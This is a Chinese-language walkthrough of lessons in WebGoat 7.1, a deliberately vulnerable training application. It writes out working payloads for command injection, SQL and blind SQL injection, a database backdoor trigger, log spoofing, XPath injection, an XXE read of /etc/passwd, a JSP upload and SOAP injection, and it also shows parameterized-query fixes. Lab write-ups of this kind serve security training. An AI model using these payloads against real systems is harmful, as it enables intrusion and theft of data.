webgoat 7.1 实战指南 - 下
Injection Flaws
Command Injection(命令注入)
对任何一个参数驱动的网站,命令注入攻击代表一个严重的威胁。在攻击后面的方法很容易学习,引起的破坏范围从相当大的范围到整个系统。尽管存在这些风险,在互联网上易受此种形式攻击的系统数量令人难以置信。
它不仅是一个容易唆使的威胁,它也是一个有一点常识和远见就可以被完全阻止的威胁。本课程将向学生展示几个参数注入的例子。
清洁所有的输入数据总是一个好的实践,尤其是将被用于OS命令、脚本和数据库查询的数据。
尝试向操作系统注入一个命令。
使用代理拦截请求,在HelpFile后添加脚本:【BasicAuthentication.help;ipconfig" 】 或【BasicAuthentication.help;netstat -an"】(此处如果使用&代替“;”,则会把ipconfig或netstat 当做一个参数,具体原因不详),命令后的双引号不能丢掉。
注:要实现上述功能,需要对源码做一些修改,位置:org.owasp.webgoat.plugin.CommandInjection,其源码对所能使用的脚本命令进行了限制,需要根据实际使用的操作系统进行修改,本人使用的是Windows操作系统,将List<String> VALID_WINDOWS_CMDS = Lists.newArrayList("dir", "ls", "netstat -a", "ipconfig");修改为List<String> VALID_WINDOWS_CMDS = Lists.newArrayList("dir", "ls", "netstat -an", "ipconfig");
将136行的fileData = exec(s, "cmd.exe /c type \"" + new File(safeDir, helpFile).getPath() + "\"");修改为fileData = exec(s, "cmd.exe /c type \"" + safeDir.getPath()+ "\"" + "&" + finalCom);,保存源文件,重新打包成jar文件。执行成功如下图所示:
选择帮助文件,点击view:
代理拦截请求,修改HelpFile=的内容:
查看到 /etc/passwd 内容:
Numeric SQL Injection(数字型注入)
对于任何数据库驱动的网站,SQL注入攻击代表一个严重的威胁。在攻击后面的方法很容易学习,引起的破坏范围从相当大的范围到整个系统。尽管存在这些风险,在互联网上易受此种形式攻击的系统数量令人难以置信。
它不仅是一个容易唆使的威胁,它也是一个有一点常识和远见就可以被完全阻止的威胁。本课程将向学生展示几个参数注入的例子。
清洁所有的输入数据总是一个好的实践,尤其是将被用于OS命令、脚本和数据库查询的数据,即使SQL注入威胁被某种方式阻止。
目标:
下述表单允许一个用户查看天气数据。尝试注入SQL字符串,使得显示所有的天气数据。
使用代理拦截请求,将参数station=101修改为station=101 or 1 = 1,然后提交请求,如下图所示:
Log Spoofing(日志欺骗)
灰色区域表示Web服务器日志上记录的信息;
目标是使像admin这样的用户成功的登录;
通过增加脚本来提升日志文件的攻击。
在用户名输入:“smith%0D%0ALogin Succeeded for username admin”,密码随便输入,点击Login,如下图所示:
XPATH Injection
下述表单允许员工查看包含薪水的所有他们的个人信息。你的账号是Mike/test123。你的目标是尝试查看其他员工的数据。
1、 XPATH 注入类似于 SQL 注入。通过未验证的输入创建一个 XPATH 查询。下面你能看到如何构建一个 XPATH 查询。该页面代码如下:
String dir = LessonUtil.getLessonDirectory(s, this) + "/xml/" + "/EmployeesData.xml";
File d = new File(dir);
XPathFactory factory = XPathFactory.newInstance();
XPath xPath = factory.newXPath();
InputSource inputSource = new InputSource(new FileInputStream(d));
String expression = "/employees/employee[loginID/text()=‘" + username + "‘ and passwd/text()=‘" + password + "‘]";
nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);
2、 在用户名处注入 Smith‘ or 1=1 or ‘a‘=‘a,这将会显示你登录系统的第一个用户。密码是必须的字段,可以任意输入。
3、 以下是服务器获取的:
expression = "/employees/employee[loginID/text()=‘Smith‘ or 1=1 or ‘a‘=‘a‘ and passwd/text()=‘xxx‘]"
3. 以下是服务器解析后的结果:
expression = "/employees/employee[ ( loginID/text()=‘Smith‘ or 1=1 ) OR ( ‘a‘=‘a‘ and passwd/text()=‘xxx‘ ) ]
String SQL Injection(字符串注入)
对于任何数据库驱动的网站,SQL注入攻击代表一个严重的威胁。在攻击后面的方法很容易学习,引起的破坏范围从相当大的范围到整个系统。尽管存在这些风险,在互联网上易受此种形式攻击的系统数量令人难以置信。
它不仅是一个容易唆使的威胁,它也是一个有一点常识和远见就可以被完全阻止的威胁。本课程将向学生展示几个参数注入的例子。
清洁所有的输入数据总是一个好的实践,尤其是将被用于OS命令、脚本和数据库查询的数据,即使SQL注入威胁被某种方式阻止。
目标:
下述表单允许用户浏览他们的信用卡号。尝试注入SQL字符串以使的所有信用卡号被显示。尝试用用户“Smith”。
在用户名里输入:Smith‘ or ‘1‘ = ‘1,点击查询,如下所示:
LAB: SQL Injection
阶段1:String SQL Injection
使用字符串SQL注入绕过认证。使用SQL注入以Boss(“Neville”)登录而不需要正确的密码。验证Neville的简介可被查看,所有其他功能可用(包含查询、创建和删除)。
使用代理拦截请求,修改password=‘ or‘1‘=‘1,然后提交请求,如下图所示:
阶段2:Parameterized Query #1(修复方式:参数化查询)
使用一个参数化查询来阻止SQL注入
实施修复来阻止登录页字段的SQL注入问题。重复阶段1。验证攻击不再生效。
修改org.owasp.webgoat.plugin.sqlinjection.LoginSqlInjection.java的login方法,将String query = "SELECT * FROM employee WHERE userid = " + userId + " and password = ‘" + password + "‘";修改为String query = "SELECT * FROM employee WHERE userid = ? and password = ?";
在try块内增加如下代码,同时注释掉相关代码:
Connection connection = WebSession.getConnection(s);
PreparedStatement ps = (PreparedStatement) connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY);
ps.setString(1,userId);
ps.setString(2,password);
ResultSet answer_results = ps.executeQuery();
完成上述代码后,打包,重新运行,使用OWASP ZAP拦截请求,修改password=‘ or‘1‘=‘1,然后提交请求,如下图所示:
阶段3:Numeric SQL Injection
绕过认证执行SQL注入。
作为正常员工“Larry”,在查看功能(从员工列表页)的参数里使用SQL注入查看boss(“Neville”)的简介。
使用代理拦截请求,将employee_id参数修改为:101 or 1=1 order by salary desc,如下图所示:
阶段4:Parameterized Query #2 (修复方式:参数化查询)
使用参数化查询阻止SQL注入。
实施修复来阻止登录页字段的SQL注入问题。重复阶段3。验证攻击不再生效。
修改:org.owasp.webgoat.plugin.sqlinjection.ViewProfileSqlInjection.java
将String query = "SELECT employee.* "
+ "FROM employee,ownership WHERE employee.userid = ownership.employee_id and "
+ "ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId;
修改为String query = "SELECT employee.* "
+ "FROM employee,ownership WHERE employee.userid = ownership.employee_id and "
+ "ownership.employer_id = ? and ownership.employee_id = ?";
在try块内增加,并注销掉相关代码:
Connection connection = WebSession.getConnection(s);
PreparedStatement ps = (PreparedStatement) connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY);
ps.setString(1,userId);
ps.setString(2,subjectUserId);
ResultSet answer_results = ps.executeQuery();
如下图所示:
Database Backdoors(数据库后面)
101;update employee set salary=1234567 where userid=101
101;create trigger mybackdoor
before insert on employee foreach row begin update
employee setemail=’john@hackme.com’ where userid=new.userid
Blind Numeric SQL Injection(数字型盲注)
101 AND ((SELECT pin FROM pins WHEREcc_number=’1111222233334444′) > 1000 );
一直用二分法找到数字是2364
Blind String SQL Injection(字符串盲注)
101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 1, 1) < ‘H’ );
第二个字符:改成2,以此类推。
101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 2, 1) < ‘H’ );
答案找到是Jill
Denial of Service(拒绝服务攻击)
ZipBomb(压缩包炸弹)
服务器只接受ZIP文件,在上传后提取它们,并与其一起删除,并提供20 MB的临时存储来处理所有请求,尝试执行DOS攻击,消耗所有临时存储与一个请求
简单来说,一直上传低于20M的压缩包,把服务器弄崩溃
Denial of Service from Multiple Logins
先获取所有帐号
打开三个页面
Insecure Communication(不安全的通讯)
Insecure Login(不安全登录)
使用调试器看到密码
第二阶段改成https
Insecure Storage(不安全存储)
Encoding Basics(加密基础)
Malicious Execution(恶意执行)
Malicious File Execution(恶意文件执行)
<HTML>
<% java.io.File file= newjava.io.File("/.extract/webapps/WebGoat/mfe_target/webgoat.txt");file.createNewFile();%>
</HTML>
保存成jsp上传
http://192.168.8.89:8080/WebGoat/uploads/1.jsp,再刷新一下浏览器即可
Parameter Tampering(参数修改)
Bypass HTML Field Restrictions
将表单启用,再使用burpsuit抓包,随便修改6个参数内容
XML External Entity (XXE)
<?xml version="1.0"?>
<!DOCTYPE Header [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<searchForm> <from>&xxe;</from></searchForm>
Exploit Hidden Fields(利用隐藏的字段)
简单来说,就是改了前端的值
Exploit Unchecked Email
此表格是客户支持页面的示例。 使用下面的表单尝试:
1)向网站admin发送恶意脚本。
2)从OWASP向“朋友”发送恶意脚本。
Bypass Client Side JavaScript Validation
该网站执行客户端和服务器端验证。 对于此练习,您的工作是打破客户端验证并发送不期望的网站输入。 您必须同时打破所有7个验证器。
Session Management Flaws
Hijack a Session(点击劫持)
参考视频:https://www.youtube.com/watch?v=FA5FjjV4L7Y
Cookie里面的WEAKID这个参数是会话标识。我们知道如果客户端发送给Web服务器的请求里面没有会话标识的话,服务器会从新生成一个新的会话标识并通过Cookie返回给客户端
发送数据包到sequencer选项
由于burpsuite的fuzz不到cookie的位置,故显示不了效果,具体的可以参照视频。
Spoof an Authentication Cookie(欺骗认证Cookie)
Webgoat:AuthCookie=65432ubphcfx
Aspect:AuthCookie=65432udfqtb
alice用户的cookie是65432,ecilaèfdjmb
分析cookie,64532是不变的,后面的字符串是经历逆转字符串,然后往后推一位
Session Fixation(会话固定)
在网站后面添加&SID=45
按照提示输入用户名和密码
第四步,直接打开192.168.8.89:8080/WebGoat/start.mvc#attack/2007866518/1800&SID=45
Web Services
Create a SOAP Request
Web服务通过使用SOAP请求进行通信。 这些请求被提交给Web服务,试图执行在Web服务定义语言(WSDL)中定义的功能。 让我们来了解一些关于WSDL文件的内容。 查看WebGoat的Web服务描述语言(WSDL)文件。
一般目标:
尝试使用浏览器或Web Service工具连接到WSDL。 Web服务的URL是:http://localhost/WebGoat/services/SoapRequest通常可以在Web服务请求的末尾添加一个WSDL来查看WSDL。 您必须访问2个操作才能通过本课程。
拦截请求并通过发送有效的帐户的有效SOAP请求来调用任何方法。
您必须至少访问2个方法来传递课程。
使用burpsuit的wsdler插件分析SOAP,但是测试发现无法完成该课程,思路是对的,只是它的验证方法可能与我不对。
WSDL Scanning
修改参数内容
Web Service SAX Injection
Web服务通过使用SOAP请求进行通信。 这些请求被提交给Web服务,以尝试执行在Web服务定义语言(WSDL)文件中定义的功能。
一般目标:
一些Web界面在后台使用Web服务。 如果前端依赖于Web服务进行所有输入验证,则可能会破坏Web界面发送的XML。
在本练习中,尝试更改101以外的用户的密码。
在输入框输入下面内容
<id xsi:type=‘xsd:int‘>102</id>
<password xsi:type=‘xsd:string‘>P@$$w0rd?</password>
Web Service SQL Injection
使用burpsuit的插件wsdler